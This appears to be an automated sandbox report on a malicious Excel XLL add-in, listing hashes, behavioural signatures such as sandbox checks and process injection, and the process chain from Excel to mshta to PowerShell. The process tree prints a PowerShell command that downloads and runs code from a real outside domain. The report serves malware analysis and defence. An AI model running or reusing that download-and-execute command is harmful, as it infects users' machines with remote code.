Analysis
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max time kernel
137s -
max time network
125s -
platform
windows10-2004_x64 -
resource
win10v2004-20240426-en -
resource tags
arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system -
submitted
22-05-2024 20:52
Static task
static1
Behavioral task
behavioral1
Sample
b0f673b4fbd5d1345abec51f7bf1b64ca37ee66facd848cf3205a5ab82981c65.xll
Resource
win10v2004-20240426-en
Behavioral task
behavioral2
Sample
b0f673b4fbd5d1345abec51f7bf1b64ca37ee66facd848cf3205a5ab82981c65.xll
Resource
win11-20240426-en
General
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Target
b0f673b4fbd5d1345abec51f7bf1b64ca37ee66facd848cf3205a5ab82981c65.xll
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Size
12KB
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MD5
4fcee939685d4352cb44b402f3f7fd1d
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SHA1
b67a08d599e7a2cdf914556e5d69a8fcbdcb6222
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SHA256
b0f673b4fbd5d1345abec51f7bf1b64ca37ee66facd848cf3205a5ab82981c65
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SHA512
ee82da0dfe96b885cf65a4e4b9431316e85cb7707c28dbba1e5ff4f24bc2c019849788b2fe68ac31da6246db2c8e8b8b0b02be300433ab034059e103e5505050
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SSDEEP
192:ixL29RBzDzeobchBj8JONJONdruqrEPEjr7Ah+:g29jnbcvYJOqPuqvr7C+
Malware Config
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
mshta.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 3848 5348 mshta.exe EXCEL.EXE -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 40 2752 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
mshta.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-1162180587-977231257-2194346871-1000\Control Panel\International\Geo\Nation mshta.exe -
Loads dropped DLL 2 IoCs
Processes:
EXCEL.EXEpid process 5348 EXCEL.EXE 5348 EXCEL.EXE -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 5348 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 2752 powershell.exe 2752 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 2752 powershell.exe -
Suspicious use of FindShellTrayWindow 2 IoCs
Processes:
EXCEL.EXEpid process 5348 EXCEL.EXE 5348 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 10 IoCs
Processes:
EXCEL.EXEpid process 5348 EXCEL.EXE 5348 EXCEL.EXE 5348 EXCEL.EXE 5348 EXCEL.EXE 5348 EXCEL.EXE 5348 EXCEL.EXE 5348 EXCEL.EXE 5348 EXCEL.EXE 5348 EXCEL.EXE 5348 EXCEL.EXE -
Suspicious use of WriteProcessMemory 6 IoCs
Processes:
EXCEL.EXEmshta.exedescription pid process target process PID 5348 wrote to memory of 3848 5348 EXCEL.EXE mshta.exe PID 5348 wrote to memory of 3848 5348 EXCEL.EXE mshta.exe PID 5348 wrote to memory of 3848 5348 EXCEL.EXE mshta.exe PID 3848 wrote to memory of 2752 3848 mshta.exe powershell.exe PID 3848 wrote to memory of 2752 3848 mshta.exe powershell.exe PID 3848 wrote to memory of 2752 3848 mshta.exe powershell.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\b0f673b4fbd5d1345abec51f7bf1b64ca37ee66facd848cf3205a5ab82981c65.xll"1⤵
- Loads dropped DLL
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5348 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\users\public\example.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} mshta2⤵
- Process spawned unexpected child process
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3848 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'iapartmentlistings.com/tykhwuxk')3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2752
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
2KB
MD5f754844cfb65838d1dd6b19dde5d835c
SHA1b3eb677783adc88c8d048898449e04d49f416db6
SHA2563644b387519f3509a1ce3d2201e2e1e8af36217138cc6f9e62d6e37c887097a6
SHA512f42f89562b5c0be86dbd04683ee6c30711155acd1239e273da726c2bfedf5d0806c479b7107792c136bff6e97efb8d9145df0c176f499f86f1b7e304a2e3ccdf
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Users\Admin\AppData\Local\Temp\b0f673b4fbd5d1345abec51f7bf1b64ca37ee66facd848cf3205a5ab82981c65.xll
Filesize12KB
MD54fcee939685d4352cb44b402f3f7fd1d
SHA1b67a08d599e7a2cdf914556e5d69a8fcbdcb6222
SHA256b0f673b4fbd5d1345abec51f7bf1b64ca37ee66facd848cf3205a5ab82981c65
SHA512ee82da0dfe96b885cf65a4e4b9431316e85cb7707c28dbba1e5ff4f24bc2c019849788b2fe68ac31da6246db2c8e8b8b0b02be300433ab034059e103e5505050